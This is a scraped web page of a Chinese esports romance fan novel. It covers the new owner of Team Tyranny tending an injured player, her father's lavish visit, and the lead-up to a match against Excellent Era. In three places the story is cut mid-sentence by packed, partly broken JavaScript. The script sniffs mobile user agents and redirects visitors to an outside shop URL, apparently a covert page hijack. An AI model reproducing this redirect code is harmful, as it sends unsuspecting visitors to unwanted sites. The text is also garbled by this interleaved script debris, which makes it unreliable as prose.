0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940812|192419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言无奈地笑,“您这是把我当小孩管啊?” “你比小孩还不让人省心呢!”秦昭昭瞪他,“手伤了还不说,硬撑着训练,要不是今天被我发现了,你是不是要等到手废了才说?” 林敬言不说话了。 他知道秦昭昭说得对。他确实有点逞强了,总想着再练一会儿,再坚持一下,结果…… “对不起。”他轻声说。 秦昭昭愣了一下,然后叹了口气:“我不是怪你,我是担心你。林敬言,你是我们的队员,你的身体很重要。手伤了就养,养好了再练,这才是长久的办法。硬撑着训练,万一真废了手,你以后还怎么打比赛?” 她说这话时特别认真,眼睛里写满了真诚的担忧。 林敬言看着她,沉默了许久。 “我知道了。”他认真地说,“我会好好养的。” “这还差不多。”秦昭昭满意地点点头,站起身,“你先吃饭吧,吃完饭好好休息。我晚上再来看你。” 她说完,转身要走。 “秦总。”林敬言叫住她。 “嗯?” “谢谢。”林敬言看着她,很认真地说。 秦昭昭愣了一下,然后笑了:“谢什么谢,我是老板,照顾队员是应该的。” 她说得理所当然,然后挥挥手,走了。 门轻轻关上。 房间里又只剩下林敬言一个人。 阳光依旧温暖,药膏依旧清凉,手腕的疼痛缓解了很多。 他低头看着自己被涂过药膏的手腕,那里还残留着秦昭昭指尖的温度。 他想起刚才秦昭昭认真的侧脸,想起她笨拙又努力的动作,想起她说“我会监督你的”时那副板着脸的样子…… 林敬言又笑了。 这次笑得更明显,更放松。 他拿起勺子,开始吃饭。粥是温的,小菜是清爽的,汤是鲜美的。每一口都很好吃,吃进胃里,暖到心里。 吃完饭,他回到窗边的椅子上,重新拿起书。 但看不进去。 脑子里全是秦昭昭的样子。 她怎么这么有意思呢? 明明是个什么都不懂的大小姐,明明玩荣耀才三个月,明明连战术图都看不懂。 但她会担心队员的身体,会记得每个人的喜好,会亲自去买药膏,会笨拙又认真地给人涂药。 她会因为赢了比赛而高兴得像个孩子,会因为输了比赛而闷闷不乐但很快又振作起来,会因为队员手伤而板着脸下命令,会因为一句谢谢而脸红…… 这样的老板,这样的女孩…… 林敬言放下书,看向窗外。 阳光很好,天空很蓝,云朵像棉花糖一样飘着。 他的手腕还在隐隐作痛,但他的心情很好。 好到让他觉得,手伤好像也不是什么坏事。 至少,让他看到了秦昭昭的另一面。 认真,负责,温暖,可爱。 他拿起手机,给方锐发了条消息:“手伤复发,被老板勒令休息两周。” 几秒后,方锐回复:“严重吗?要不要紧?” 唐三打:不严重,队医说好好养就行。 鬼迷神疑:那就好。你们老板怎么样?没骂你吧? 唐三打:没有,她亲自给我涂药膏。 鬼迷神疑:???亲自涂药膏?你们老板还会这个? 唐三打:她说队医教的。 鬼迷神疑:……老林,你实话告诉我,你们老板是不是对你有意思? 林敬言盯着这条消息,愣了好几秒。 然后他笑了,打字回复:“你想多了。她对我们每个人都这样。” 这话发出去后,他自己都愣了一下。 对我们每个人都这样。 是啊,秦昭昭对每个人都很好。对韩文清,对张新杰,对张佳乐,对白言飞,对秦牧云……她都是一样的关心,一样的真诚。 但不知道为什么,林敬言总觉得,今天秦昭昭给他涂药膏时的那种认真,那种专注,那种笨拙又努力的样子…… 好像,有点不一样。具体哪里不一样,他也说不清。但就是不一样。 林敬言放下手机,靠在椅背上,闭上眼睛。 阳光照在脸上,暖洋洋的。 手腕上的药膏散发着清凉的香气。心里那股温暖的感觉,越来越浓。 他忽然觉得,来霸图,可能是他职业生涯里,最正确的一个决定。 不,不是可能。 是一定。 19.买下霸图的第十九天 秦大海要来霸图视察这事,秦昭昭是前一天晚上才知道的。 当时她正趴在训练室后面看队员们加练,手机忽然震动,老爹发来一条消息:“闺女,爸明天下午到Q市,给你带了好东西!” 秦昭昭盯着那条消息看了三秒,脑子里警铃大作。 老爹说的“好东西”,通常意味着两件事——第一,真的很贵;第二,量真的很大。 她赶紧回复:“爸,你要来俱乐部?” 秦大海:“对啊!我闺女当老板了,爸不得来看看?放心,爸不打扰你们训练,就送点吃的,看看就走。” 秦昭昭:“送点吃的……是多少?” 秦大海:“不多不多,就几箱和牛,几箱帝王蟹,还有一些你爱吃的零食水果。” 秦昭昭:“……” 几箱和牛?几箱帝王蟹?这叫“不多”? 她抬头看了看训练室里正在专注训练的队员们,又低头看了看手机,最后叹了口气。 算了,来就来吧。 反正老爹的作风她早就习惯了。 第二天下午三点,秦大海准时出现在霸图俱乐部大堂。 不是一个人来的,是带着三个助理来的。三个助理手里都提满了东西,大包小包,摞得高高的,看着就沉。 秦大海本人则是一身休闲装,墨镜,金表,皮鞋锃亮,站在大堂中央,左看看右看看,那气势,不像来探班的家长,倒像是来收购公司的老板。 “爸!”秦昭昭从电梯里冲出来,赶紧迎上去,“你怎么带这么多东西啊!” “不多不多!”秦大海摘下墨镜,笑呵呵地拍了拍闺女的肩膀,“我闺女当老板了,爸不得支持支持?这些都是给你和队员们的,训练辛苦,得补补!” 他说着,让助理把东西放下。三个助理如释重负,把东西整整齐齐摆在大堂一角。真的是好几箱和牛,好几箱帝王蟹,还有各种进口水果、高级零食、名贵茶叶…… 秦昭昭看着那一堆东西,头都大了。 “爸,我们食堂有厨师,这些东西……” “食堂的哪有爸带来的好!”秦大海大手一挥,“……放心,爸都安排好了,保质保量!” 秦昭昭没话说了。 她知道跟老爹讲道理是没用的,反正东西都带来了,总不能再退回去。 “那……爸你先坐会儿,我去叫队员们下来。”秦昭昭说。 “不用不用!”秦大海摆摆手,“爸跟你上去看看!听说你把俱乐部装修得特别漂亮,爸得参观参观!” 秦昭昭只能硬着头皮带老爹上楼。 一路上,秦大海对俱乐部的每个细节都赞不绝口。 “哟,这地板,大理石的吧?光泽真好!” “这墙面漆,深海蓝?还带珠光?有品位!” “这灯,设计感不错,光线也柔和,不伤眼。” “这绿植,养得好,看着就精神!” 秦昭昭跟在后面,听着老爹的夸赞,心里又骄傲又不好意思。骄傲是因为俱乐部确实装修得不错,不好意思是因为……老爹夸得太直白了,直白得让人有点尴尬。 到了训练室门口,秦昭昭推开门。 里面,队员们正在训练。键盘敲击声噼里啪啦,屏幕上光影乱飞。韩文清坐在最前面,眉头紧锁地盯着屏幕。张新杰在他旁边,手里拿着平板在看数据。张佳乐、林敬言、白言飞、秦牧云各司其职,全神贯注。当然,林敬言因为手伤不能碰键盘的关系,在看录像复盘。 秦大海一进来,所有人都停下了动作,转过头。 空气安静了三秒。 秦昭昭赶紧介绍:“各位,这是我爸,秦大海。爸,这是咱们战队的队员们。韩文清队长,张新杰副队长,张佳乐,林敬言,白言飞,秦牧云。” 秦大海笑眯眯地走上前,挨个跟队员们握手。 “小韩是吧?我听昭昭说过你,拳皇!厉害厉害!” 韩文清被这声“小韩”叫得身体僵了一下,这还是头一次有人这么叫他。但还是伸出手,跟秦大海握了握:“秦总好。” “叫什么秦总,叫秦叔就行!”秦大海豪爽地说,“我闺女给你们添麻烦了,你们多担待!” 秦昭昭在旁边脸都红了:“爸!你说什么呢!” “实话实说嘛!”秦大海笑呵呵地转向张新杰,“小张是吧?昭昭老跟我夸你,说你是战术大师,特别靠谱!” 张新杰推了推眼镜,表情平静:“秦叔好。” “你好你好!”秦大海用力拍了拍张新杰的肩膀,力道之大,差点把张新杰拍得往前踉跄一步,“一看就是个靠谱的年轻人!稳重!踏实!有你在,我放心!” 张新杰稳住身体,推了推眼镜,没说话。 接着是张佳乐。秦大海一看见他那头红发和小辫子,眼睛就亮了:“小伙子挺时尚啊!这发型,有个性!” 张佳乐被夸得有点不好意思,笑了笑:“秦叔好。” 林敬言温文尔雅地跟秦大海握了手,秦大海点头:“小伙子一看就是文化人,气质好!” 白言飞和秦牧云两个小年轻最紧张,跟秦大海握手时手都在抖。秦大海笑呵呵地说:“年轻人,好好练,有前途!” 一圈招呼打下来,训练室里的气氛活跃了不少。 秦大海完全没把自己当外人,拉了把椅子坐下,开始跟队员们聊天。从训练累不累,到食堂伙食好不好,到宿舍住得舒不舒服……什么都问,什么都聊。 队员们一开始还有点拘谨,但秦大海这人太能聊了,天南海北,风趣幽默,没一会儿就把气氛带起来了。 张佳乐最先放松下来,跟秦大海聊起了荣耀。秦大海虽然不懂游戏,但听得特别认真,时不时还问几个问题。 “小张啊,你那个百花式打法,我听昭昭说过,说是特别好看,跟放烟花似的!下次比赛爸一定去看!” 张佳乐笑了:“秦叔您要是来看,我一定打得特别绚烂!” “好好好!”秦大海哈哈大笑。 韩文清虽然话不多,但秦大海问什么,他也都认真地回答。张新杰则是一如既往地严谨,回答问题时数据、分析、逻辑,条理清晰。 林敬言温温和和地聊着,白言飞和秦牧云偶尔插两句。 秦昭昭站在旁边,看着这一幕,心里特别温暖。 老爹虽然有时候脱线,有时候浮夸,但他对她的关心是真的,对她的队员们的善意也是真的。 聊了大概半小时,秦大海看了看时间,站起身:“不打扰你们训练了!我先下去,晚上请大家吃饭!我订了Q市最好的海鲜餐厅,咱们好好吃一顿!” 秦昭昭想说什么,但秦大海已经风风火火地走了,留下三个助理在大堂等着。 训练室里又安静下来。 秦昭昭有点不好意思地看着队员们:“那个……我爸他就是这样,热情过头了,你们别介意啊。” “不介意不介意。”张佳乐笑着说,“秦叔挺有意思的。” “确实。”林敬言推了推眼镜,“很亲切。” 韩文清点点头,没说话。 张新杰推了推眼镜,继续看数据,但嘴角很轻微地向上弯了一下。 晚上六点,一行人来到秦大海订的餐厅。 果然是Q市最好的海鲜餐厅,包间在顶层,落地窗外就是海景。夕阳西下,海面上金光粼粼,美得像画。 餐桌上已经摆满了菜——清蒸帝王蟹,炭烤和牛,葱烧海参,鲍鱼炖鸡……每道菜都精致得像是艺术品,香气扑鼻。 秦大海坐在主位,豪爽地招呼大家:“坐坐坐!别客气!想吃什么吃什么,不够再点!” 队员们入座。秦昭昭挨着老爹坐,小声嘀咕:“爸,你这也太破费了……” “破费什么!”秦大海大手一挥,“请我闺女的队员吃饭,应该的!” 他端起杯子站起来:“第一杯,感谢大家照顾我闺女!她年纪小,不懂事,给你们添麻烦了!” 所有人都端起杯子。 “第二杯,”秦大海继续说,“预祝你们今年拿冠军!要是真拿了冠军,我私人给每个队员多发十万奖金!” 这话一出,包间里安静了一下。 十万奖金,对职业选手来说不算天文数字,但也不少了。关键是这话从秦大海嘴里说出来,特别有说服力。毕竟这位是真有钱,而且真舍得花。 秦昭昭赶紧拉老爹的袖子:“爸!你说什么呢!” “我说真的!”秦大海认真地说,“冠军奖金是俱乐部的,这十万是我个人给的!只要你们拿了冠军,我说话算话!” 韩文清端起杯子,看着秦大海,说了两个字:“谢谢。” 其他人也纷纷道谢。 张佳乐笑:“秦叔,冲着您这句话,我们也得拼命拿冠军啊!” “对对对!”白言飞猛点头。 气氛又活跃起来。大家边吃边聊,从比赛聊到生活,从荣耀聊到各自的家乡。秦大海特别会聊天,什么话题都能接上,而且总能聊得特别开心。 秦昭昭看着老爹和队员们相谈甚欢的样子,心里特别满足。 这就是她想要的感觉,家人和朋友,聚在一起,开开心心地吃饭聊天。 至于十万奖金……算了,老爹爱说就说吧。反正,拿冠军本来就是他们的目标。 饭吃到一半,秦大海忽然想起什么,转头对秦昭昭说:“闺女,爸明天早上的飞机,一会儿吃完饭就得回酒店了。” “这么快?”秦昭昭愣住。 “公司还有事,得回去处理。”秦大海拍拍她的手,“爸就是来看看你,看你过得开心,爸就放心了。” 秦昭昭鼻子有点酸:“爸……” “行了行了,别矫情。”秦大海笑呵呵地说,“爸走了之后,你好好当老板,好好跟队员们相处。有什么事就给爸打电话,钱不够就跟爸说。” “知道了。”秦昭昭点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946444|192419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 吃完饭,秦大海要走了。一行人送他到餐厅门口。 临走前,秦大海忽然走到韩文清面前,用力拍了拍他的肩膀:“小韩啊,我闺女就交给你了!好好带她玩!” 韩文清身体僵了一下,表情难得地出现了一丝裂痕:“……秦总很努力。” 这话说得特别官方,特别韩文清。 秦昭昭在旁边脸都红透了,赶紧把老爹往车上推:“爸!你别说了!我来这里不是玩的啊!” “知道知道,你是来当老板的!”秦大海笑呵呵地上车,又从车窗探出头,“大家好好训练!等你们拿冠军!” 车开走了。 秦昭昭站在原地,捂着脸,恨不得找个地缝钻进去。 队员们站在她身后,表情各异。 张佳乐憋着笑,肩膀一抖一抖的。林敬言推了推眼镜,眼里有笑意。白言飞和秦牧云想笑又不敢笑,表情特别微妙。 韩文清还是一脸严肃,但耳朵尖有点红。 张新杰推了推眼镜,什么都没说。 “那个……我爸他……”秦昭昭转过身,想解释什么,但话到嘴边又说不出来了。 “秦总,我们懂的。”张佳乐终于憋不住了,笑出声,“秦叔就是关心您。” “对对对!”白言飞赶紧点头,“秦叔人特别好!” 秦昭昭看着他们,叹了口气:“算了,反正你们也看到了,我爸就是那样。” “挺好的。”林敬言温和地说,“有这样的父亲,是您的福气。” 秦昭昭愣了一下,然后笑了:“也是。” 一行人回酒店。秦大海走了,但带来的那些和牛帝王蟹还得处理。秦昭昭让酒店厨房帮忙,把东西都存进冷库,准备慢慢吃。 回到俱乐部,已经是晚上九点多了。 队员们各自回房休息。秦昭昭也回了自己房间,但没立刻睡觉。她站在窗边,看着外面的夜景,心里还在想着老爹今天说的那些话。 “闺女,你这群队员不错。特别是那个戴眼镜的小张,一看就靠谱。” 老爹临走前私下跟她说的这句话,她记得特别清楚。 张新杰确实靠谱。战术大师,数据分析,训练安排,生活管理……什么都安排得井井有条。有他在,战队运转得特别顺畅。 秦昭昭想着想着,嘴角忍不住上扬。 她决定去跟张新杰道个谢。 虽然老爹今天说了很多让人尴尬的话,但张新杰一直都很包容,没表现出任何不耐烦。 秦昭昭走出房间,来到张新杰的房间门口。刚准备敲门,门开了。 张新杰穿着一身整齐的睡衣,手里拿着本书,看样子正准备睡觉。看见秦昭昭,他愣了一下:“秦总,有事?” “没什么事。”秦昭昭有点不好意思,“就是……想谢谢你。今天我爸来了,说了很多有的没的,你不介意吧?” “不会。”张新杰推了推眼镜,“秦叔很热情,是好事。” “那就好。”秦昭昭松了口气,然后想起老爹夸他的话,忍不住点了点头,“我爸夸你来着,说你靠谱。” 她说这话时,脸上带着笑。张新杰看着她,镜片后的眼睛微微动了一下。 他发觉秦昭昭在盯着他笑,那笑容很真诚,很温暖,像阳光一样。 他有点疑惑,但没问。 秦昭昭也没解释,只是又说了一遍:“总之,谢谢你。有你在,战队才能运转得这么好。” 张新杰沉默了两秒,然后点了点头:“都是我应该做的,毕竟我是副队长。” “那……你早点休息,我不打扰了。”秦昭昭挥挥手,转身走了。 张新杰站在门口,看着她蹦蹦跳跳离开的背影,看了很久。 然后他关上门,走回房间。他把书放在床头柜上,关了灯,躺在床上。 黑暗中,他的嘴角很轻微地向上勾起一个弧度。 那个弧度很小,小到几乎看不见。 但确实在笑,因为被夸了。 被秦总的父亲夸了,也被秦总本人夸了。 虽然他不擅长表达情绪,虽然他总是板着一张脸,虽然他的生活严谨得像机器…… 但被人认可,被人夸奖,心里还是会高兴的。 特别当那个人,是秦昭昭的时候。 张新杰闭上眼睛,准备睡觉。 明天还要训练,还要分析数据,还要制定战术。 但今晚,他可以做个好梦。 而走廊另一头,秦昭昭回到房间,扑到床上,抱着枕头打了个滚。 老爹来了,虽然有点尴尬,但总体很开心。 队员们很好,老爹很喜欢他们,他们也很喜欢老爹。 秦昭昭突然想起那十万奖金,拿出手机,给老爹发了条消息:“爸,你别瞎承诺啊!十万奖金什么的,我自己会发!” 几秒后,老爹回复:“闺女放心,爸说话算话!不过你们得先拿冠军!” 20.买下霸图的第二十天 霸图下一场比赛的对手是嘉世,地点在H市。 这事儿秦昭昭提前一周就开始做功课了。她抱着平板电脑,盘腿坐在训练室后面的沙发上,搜索着所有关于嘉世和霸图的资料。越看眼睛瞪得越大,越看嘴巴张得越圆。 “我的天……”她小声嘀咕,“这哪儿是宿敌啊,这简直就是世仇啊!” 荣耀联盟八年历史,霸图和嘉世的恩怨能写成一部长篇小说。从S1赛季开始,两队在季后赛里交手过不知道多少次,每一次都打得火星四溅。最经典的是S4赛季,霸图硬生生打断了嘉世的连冠美梦,把冠军奖杯抢了回来。 而这一切恩怨的中心,是两个名字。 韩文清,叶秋。 秦昭昭手指在平板上划拉,看着那些陈年旧闻和比赛录像。她看到年轻的韩文清和叶秋在赛场上交手,看到大漠孤烟和一叶之秋打得天昏地暗,看到两人赛后握手时那种剑拔弩张的气氛。 虽然那些照片和录像都模糊不清,但她能感觉到那种气场。那是两个王者之间的对决,谁也不服谁,谁也不让谁。 “原来韩队和叶秋斗了八年啊……”秦昭昭喃喃自语,“从网游的时候就开始了……” 她抬起头,看向训练室前方。韩文清正坐在电脑前专注训练,侧脸线条硬朗,眉头微皱。 秦昭昭忽然有点心疼。 八年,多长啊。从网游,从S1到S7,从青涩到成熟,从新秀到老将。这八年里,韩文清和叶秋在赛场上交手无数次,互有胜负,但总感觉……叶秋压了韩文清一头。 三连冠,荣耀史上唯一一个三连冠,那是叶秋和嘉世创造的传奇。而霸图呢?只有一个冠军,S4赛季的那个。 虽然秦昭昭是个外行,但她看得出来,韩文清对叶秋,有种特别复杂的情绪。不是恨,不是嫉妒,而是一种……不甘。 那种“我一定要赢你”的不甘。 秦昭昭关掉平板,深吸一口气。 她决定了,这次去H市,她要让他们知道,现在的霸图,已经不是以前的霸图了。现在的霸图有韩文清,有张新杰,有张佳乐,有林敬言,有白言飞,有秦牧云…… 还有她,秦昭昭。 霸图,所向披靡! 怀着这样的雄心壮志,秦昭昭开始准备H市之行。她订了最好的酒店,安排了最好的行程,甚至还想雇个啦啦队去现场助威,被张新杰严肃制止了。 “秦总,比赛现场不允许外部人员进入选手区。”张新杰推了推眼镜,“而且,我们不需要那种形式的助威。” “好吧……”秦昭昭有点遗憾,但还是乖乖听话。 赛前三天,网上关于这场比赛的讨论已经炸开了锅。 “嘉世vs霸图,宿敌对决,谁更强?” “叶秋还在巅峰吗?韩文清今年状态这么好,有机会赢吧?” “新霸图阵容豪华,但嘉世有叶秋啊!那可是斗神!” “我感觉五五开,看临场发挥。” 秦昭昭每天刷微博刷得津津有味,看到夸霸图的就点赞,看到唱衰霸图的就生气。她还偷偷注册了几个小号,去跟那些说“嘉世必胜”的人辩论,虽然辩论水平有限,经常被怼得哑口无言。 但她乐此不疲。 因为这是她的战队,她得护着。 赛前一天晚上,训练结束后,秦昭昭终于忍不住了。 她磨磨蹭蹭地走到韩文清身边,小声问:“韩队,我能问你个问题吗?” 韩文清正在关电脑,闻言抬头看了她一眼:“问。” “那个……叶秋,”秦昭昭小心翼翼地说,“你和他打这么多年,他……到底是个什么样的人啊?” 训练室里本来还有人在收拾东西,听到这话,都停下了动作。 空气突然安静。 韩文清的手顿在鼠标上,过了好几秒才继续动作。他关掉电脑,站起身,看着秦昭昭。 秦昭昭被他看得心里发毛,但还是硬着头皮说:“我就是好奇……网上都说他特别神秘,从来不露面,正脸照片都没有。韩队你跟他打过那么多次,应该见过他吧?” 韩文清沉默了很久。 但最后,他还是开口了,声音低沉:“见过。” “真的?”秦昭昭眼睛一亮,“那他长什么样?高吗?帅吗?是不是特别有气场?” 她一连串的问题抛出来,语气里满是好奇和兴奋。 韩文清盯着她,忽然觉得特别烦躁。 那种烦躁来得莫名其妙,像是有团火在胸口烧,烧得他浑身不自在。他想发火,想吼“你问这些干什么”,想转身就走。 但他忍住了。 他只是看着秦昭昭,看着她那双亮晶晶的眼睛,看着她那张写满好奇的脸,最后硬邦邦地回了三个字:“不知道。” “啊?”秦昭昭愣住,“你不是见过他吗?” “忘了。”韩文清说完,转身就走,脚步快得像在逃。 秦昭昭站在原地,一脸茫然。 她转头看向其他人,张佳乐耸耸肩,表示爱莫能助。林敬言推了推眼镜,没说话。张新杰正在收拾东西,表情平静得像什么都没听到。 只有白言飞小声嘀咕:“韩队好像生气了……” 秦昭昭心里咯噔一下。她是不是说错话了? 她只是想多了解一下对手,只是想多了解一下韩文清的宿敌……但看韩文清那反应,好像特别不喜欢提到叶秋。 秦昭昭咬着嘴唇,有点懊恼。她不该问的,至少,不该在那么多人面前问。 韩文清离开训练室后,没回房间,直接去了健身房。 晚上十点的健身房空无一人,只有器械静静地立在那里。韩文清换了运动服,戴上拳套,走到沙袋前。 他没有热身,直接挥拳。 砰! 一拳砸在沙袋上,力道大得沙袋都晃了晃。 砰!砰!砰! 一拳接一拳,又快又狠。汗水很快湿透了背心,肌肉在发力时绷紧,青筋在手臂上凸显。他盯着沙袋,眼神凶狠得像要把它打穿。 脑子里全是秦昭昭刚才问的那些问题。 “叶秋长什么样?” “高吗?帅吗?” “是不是特别有气场?” …… 韩文清越想越烦躁,出拳的力道也越来越大。 沙袋在他面前晃来晃去,他忽然觉得那沙袋特别像某个人。那个总是戴着兜帽,看不清脸,但操作着一叶之秋在赛场上把他打得找不着北的人。 叶秋。 那个名字,那个人,是他职业生涯里最大的对手,也是最让他不甘心的存在。 八年了,他赢过叶秋,也输过叶秋。但总感觉,叶秋始终压他一头。三连冠,最佳选手,斗神……这些荣耀,都是叶秋的。 而他韩文清,只有一个冠军,还总是被人说是“差点运气”“差一点”。 他不服。 所以他拼了命地训练,拼了命地提升,拼了命地想要证明自己。 可现在,连秦昭昭都在问叶秋。 那个总是围着他转,总是夸他厉害,总是用期待的眼睛看着他的秦昭昭,也在好奇叶秋是什么样的人。 韩文清忽然觉得胸口堵得慌。他停下动作,双手撑在膝盖上,大口喘气。汗水顺着下颌线往下滴,砸在地板上,晕开一小片水渍。他低头看着那些汗渍,脑子里一片混乱。 为什么要在意秦昭昭问叶秋? 为什么听到她问那些问题会觉得烦躁? 为什么…… 韩文清直起身,摇了摇头,把这些乱七八糟的想法甩出脑子。 他走到窗边,看着外面Q市的夜景。 灯火辉煌,车水马龙,但这个城市此刻在他眼里,只剩下烦躁。 他站了一会儿,转身离开健身房。回到房间,洗了个冷水澡,躺在床上。 闭上眼睛,脑子里又浮现出秦昭昭的脸。 她问叶秋时的好奇表情,她闪闪发光的眼睛,她小心翼翼的语气…… 韩文清翻了个身,把脸埋进枕头里。 算了,不想了。明天还要去H市,还要打比赛。 第二天早上,霸图全员在机场集合。 秦昭昭今天穿了身浅蓝色的运动装,头发扎成高马尾, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952347|192419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上化了淡妆,看起来精神抖擞。但她看到韩文清时,还是有点心虚,躲躲闪闪的不敢跟他对视。 韩文清倒是跟往常一样,板着脸,不说话,只是在她偷偷瞄他的时候,抬眼看了她一眼。 就那一眼,吓得秦昭昭赶紧转过头,假装跟张佳乐聊天。 “张佳乐,H市有什么好吃的啊?”她问得特别大声,像是在掩饰什么。 “H市啊,西湖醋鱼,龙井虾仁,东坡肉……”张佳乐如数家珍,“不过比赛前不能乱吃,得听张副队的。” 秦昭昭转头看向张新杰,张新杰推了推眼镜,点头:“我已经安排了比赛期间的饮食,确保营养均衡,不会影响状态。” “哦……”秦昭昭有点失望,但还是乖乖点头。 登机后,秦昭昭坐在靠窗的位置。她看着窗外层层叠叠的云海,心里还在想着昨天的事。 她是不是真的惹韩文清生气了?要不要道个歉? 可是怎么道歉呢?说“对不起我不该问叶秋”?那不是更奇怪吗? 秦昭昭纠结了一路,直到飞机降落在H市机场,她还没想好该怎么办。 H市的天气比Q市潮湿,一出机场,闷热的空气就扑面而来。秦昭昭皱了皱眉,把外套脱下来搭在手上。 酒店是提前订好的,离嘉世主场不远。一行人办理入住后,张新杰宣布:“下午自由活动,晚上七点会议室集合,复盘嘉世最近的比赛录像。” “收到!”队员们应声。 秦昭昭回到自己房间,放下行李,第一件事就是打开窗户透气。 H市的风景和Q市很不一样。Q市有海,开阔;H市有湖,秀美。从她房间的窗户看出去,能远远看到西湖的一角,水光潋滟,绿树成荫。 “还挺漂亮的……”秦昭昭趴在窗台上看了一会儿,然后想起什么,掏出手机给老爹发消息。 “爸,我到H市了,明天打嘉世!” 几秒后,老爹回复:“闺女加油!打爆嘉世!爸在电视前给你加油!” 秦昭昭笑了,回了个“好”。 放下手机,她忽然觉得肚子有点饿。看看时间,中午了,该吃饭了。 她走出房间,准备去餐厅。走廊里静悄悄的,队员们大概都在自己房间休息。 走到电梯口时,她碰见了韩文清。 韩文清也正准备下楼,看见她,点了点头,没说话。 秦昭昭心里一紧,赶紧挤出一个笑容:“韩队,去吃饭啊?” “嗯。”韩文清应了一声。 电梯来了,两人走进去。狭小的空间里只有他们两个人,气氛有点尴尬。 秦昭昭盯着电梯楼层数字变化,脑子里飞快地转着,想找点话题。 “那个……韩队,”她小声开口,“昨天的事,对不起。” 韩文清转头看她。 秦昭昭不敢跟他对视,低着头继续说:“我不该问叶秋的事的,我……我就是好奇,没别的意思。你别生气。” 她说得特别诚恳,声音小小的,带着点忐忑。 韩文清看着她低垂的脑袋,看着她微微颤抖的睫毛,看着她绞在一起的手指,心里的那股烦躁忽然就散了。 取而代之的是一种……很柔软的感觉。 “我没生气。”他说,声音比平时温和了一点。 “真的?”秦昭昭抬起头,眨了眨好看的眼看着他。 “嗯。”韩文清点头,“只是……不想提他。” “我知道了!”秦昭昭赶紧保证,“以后我不问了!” 韩文清看着她那副信誓旦旦的样子,嘴角很轻微地向上弯了一下。 电梯到了一楼,门开了。两人并肩走出电梯,往餐厅走。 秦昭昭蹦蹦跳跳地走在前面,嘴里哼着不成调的歌。韩文清跟在她后面,步伐稳健,眼神里带着自己都没察觉的柔和。 远处,西湖的水光在阳光下闪烁。 韩文清看着秦昭昭欢快的背影,心里那股不服输的劲儿又上来了。 这次,一定要赢。韩文清握紧拳头,眼神坚定,深呼吸一口气。 嘉世,叶秋,等着吧。 21.买下霸图的第二十一天 比赛当天,H市下起了小雨。淅淅沥沥的,不大,但弄得空气又湿又闷。秦昭昭穿了件薄外套,还是觉得有点冷。 早饭时,队员们也都精神不错。韩文清虽然还是板着脸,但眼神比平时亮了些。张新杰推了推眼镜,正在看今天比赛的战术安排。张佳乐把头发扎得特别精神,小辫子翘在脑后。林敬言手腕上的伤好多了,白言飞和秦牧云两人兴奋得坐不住,一直在小声讨论战术。 秦昭昭看着他们,心里特别踏实。 嘉世主场在H市郊区,场馆挺大的,能容纳上万人。霸图一行人到的时候,场馆外已经排起了长队。粉丝们举着应援牌,穿着队服,有的还cos成游戏里的角色,热闹得像过节。 秦昭昭看着那些粉丝,心里特别感慨。 这就是职业比赛啊。 这就是她爱的荣耀啊。 进场馆,到选手席。秦昭昭坐在第一排,紧挨着选手区。这是李经理特意给她安排的位置,视野最好。她手里拿着霸图的小旗子,整个人兴奋得手心都出汗了。她能清楚地看到韩文清的侧脸,看到张新杰专注的表情,看到张佳乐活动手腕的动作。 当韩文清带着霸图队员走上舞台时,场馆里爆发出震耳欲聋的欢呼声和嘘声。欢呼的是霸图粉丝,嘘的是嘉世粉丝。两种声音混在一起,吵得人耳朵疼。 秦昭昭捂着耳朵,眼睛死死盯着台上的韩文清。 韩文清站在舞台中央,灯光打在他身上,把他那身深蓝色队服照得闪闪发亮。他表情严肃,眼神凌厉,像头随时准备扑出去的猛虎。 对面,嘉世的选手也上场了。 秦昭昭伸长脖子看,想看看传说中的叶秋长什么样。但嘉世那边,站在最前面的是副队长刘皓,后面跟着苏沐橙等人,就是没看到那个总是戴着兜帽的身影。 “叶秋没上场?”她小声嘀咕。 旁边一个霸图老粉丝听见了,接话:“叶秋从来不走选手通道,他都是直接去比赛室。这人神秘得很,连赛后采访都不露面。” 秦昭昭“哦”了一声,有点失望,但很快又打起精神。 比赛很快开始。 个人赛第一场,霸图派出的是秦牧云。嘉世这边上的是刘皓,那个玩魔剑士的选手。 两人打得中规中矩,最后秦牧云凭借更稳定的发挥拿下一分。 秦昭昭松了口气。 擂台赛,韩文清守擂。嘉世这边守擂的是苏沐橙,那个枪炮师选手。 比赛打得特别激烈。苏沐橙的枪炮师火力凶猛,走位灵活,给韩文清制造了不少麻烦。但韩文清毕竟是拳皇,硬是顶着火力往前冲,最后以微弱优势取胜。 拿下擂台赛两分,霸图暂时领先。 秦昭昭激动得直拍手。 团队赛开始前,有十分钟的休息时间。队员们聚在一起,听张新杰做最后的战术布置。 秦昭昭坐在旁边,紧张得手心都是汗。 她看着韩文清严肃的脸,看着张新杰冷静的表情,看着张佳乐跃跃欲试的样子,看着林敬言温和但坚定的眼神…… 心里那股紧张,慢慢变成了期待。 期待他们赢,期待他们战胜宿敌,期待他们证明自己。 休息时间结束,团队赛即将开始。 双方队员入场。 